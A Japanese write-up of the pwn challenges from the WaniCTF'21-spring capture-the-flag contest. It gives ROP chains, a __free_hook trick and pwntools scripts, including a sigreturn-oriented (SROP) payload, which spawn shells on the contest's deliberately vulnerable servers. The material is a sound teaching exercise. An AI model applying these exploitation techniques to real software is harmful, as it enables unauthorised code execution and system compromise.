WaniCTF'21-spring Writeup
https://score.wanictf.org/score.wanictf.org
目次
成績
pwnだけ挑戦して全体では157位でした。
VeryHardが2問解けず悔しい結果となりました。
Writeup
Pwn
netcat
ncでアクセスしてcat flag.txtするだけ。
rop machine easy
# nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming}
free hook
__free_hook = system;
によってfreeの動作がsystemになっているのでfree("/bin/sh")
はsystem("/bin/sh")
として動きます。
なので/bin/sh
をメモしてそれを削除するとシェルが立ち上がります。
# nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
rop machine normal
syscallした関数でシェルを立ち上げるみたいなのでexecve("/bin/sh", NULL, NULL);
の実行を目指します。
引数は第一引数から,rdi,rsi,rdxとなっているのでそれぞれに値を設定します。
raxは呼びたいシステムコールの番号を設定します。
システムコール番号は
$ grep execve /usr/include/asm/unistd_64.h #define __NR_execve 59
か、もしくは
$ sudo apt install -y auditd $ ausyscall execve execve 59
で検索できます。
今回は値を16進数で設定するので0x3bを設定します。
もろもろ値が設定できたら最後にsyscallを読んで終わりです。
# nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 5 "pop rax; ret" is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rax; ret |<- rop start +--------------------+ | 0x000000000000003b | +--------------------+ | pop rdi; ret | +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall}
rop machine hard
やることは rop machine normal と同じ。
しかし、pop rdi などのガジェットは自分でアドレスを求めなければいけない。
rp-lin-x64を使えばそこら辺はok.
pop rsiだけ探してもpop rsi; pop r15; ret;
しかなかったのでそれを使った。
execveにセットする/bin/sh
はグローバル変数として用意されていたのでgdbからアドレスを参照した。
ここは適した別の方法がありそう。
gdb-peda$ x/32xw 0x404078 0x404078 <binsh>: 0x6e69622f 0x0068732f 0x00000000 0x00000000 0x404088: 0x00000000 0x00000000 0x00000000 0x00000000 0x404098: 0x00000000 0x00000000 0x00000000 0x00000000 0x4040a8 <completed>: 0x00000000 0x00000000 Cannot access memory at address 0x4040b0 gdb-peda$ p &binsh $1 = (<data variable, no debug info> *) 0x404078 <binsh>
必要な値が揃ったらあとはやるだけ。
from pwn import * #s = process('./pwn05') s = remote('rop-hard.pwn.wanictf.org', 9005) elf = ELF('./pwn05') binsh = 0x404078 syscall = 0x004012b6 pop_rdi = 0x0040128f pop_rsi_r15 = 0x00401611 pop_rdx = 0x0040129c pop_rax = 0x004012a9 def append_hex(value): s.sendlineafter('> ', '1') s.sendlineafter('hex value?: ', hex(value)) def execute(): s.sendlineafter('> ', '0') s.interactive() append_hex(pop_rdi) append_hex(binsh) append_hex(pop_rsi_r15) append_hex(0) append_hex(0) append_hex(pop_rdx) append_hex(0) append_hex(pop_rax) append_hex(59) append_hex(syscall) execute()
実行結果
rop_arena +--------------------+ | 0x000000000040128f |<- rop start +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012a9 | +--------------------+ | 0x000000000000003b | +--------------------+ | 0x00000000004012b6 | +--------------------+ $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools}
SuperROP
SigReturn Oriented Programming, 通称SROPという解き方みたいです。
こちらの記事を参考に解きました。
rspの位置がuc_flagsとなるので、必要なレジスタに値を設定して、それ以外にはダミーを設定することで任意のシステムコールが呼べるらしいです。
注意点としてはcsには0x33, ダミーは&fpstateまで設定しないと動きません。
あとこの問題に関してはsigreturnを呼ぶまでにpush命令が走り、思っているrspの位置とズレが生じるのでそこは適宜レジスタの値を確認しながら進める必要がありそうです。
まあ理解できればあとは簡単で、execve("/bin/sh", NULL, NULL)
を呼び出せば良いです。
from pwn import * #s = process('./pwn06') s = remote('srop.pwn.wanictf.org', 9006) elf = ELF('./pwn06') rsp = int(s.recv(4096).decode('utf-8').split()[2], 16) print(hex(rsp)) payload = b'/bin/sh\0' payload += b'A' * (72 - len(payload) - 8) payload += p64(0x401176) # call_syscall payload += p64(0x401184) # set_rax # push rbp # uc_flags payload += p64(0) # &uc_link payload += p64(0) # &ss_sp payload += p64(0) # ss_flags payload += p64(0) # ss_size payload += p64(0) * 8 # r8-r15 payload += p64(rsp) # rdi payload += p64(0) # rsi payload += p64(rsp) # rbp payload += p64(0) # rbx payload += p64(0) # rdx payload += p64(59) # rax payload += p64(0) # rcx payload += p64(rsp) # rsp payload += p64(0x401176) # rip payload += p64(0) # eflags payload += p64(0x33) # cs/gs/fs/ss payload += p64(0) * 5 # err,trapno,oldmask,cr2,&fpstate s.sendline(payload) s.interactive()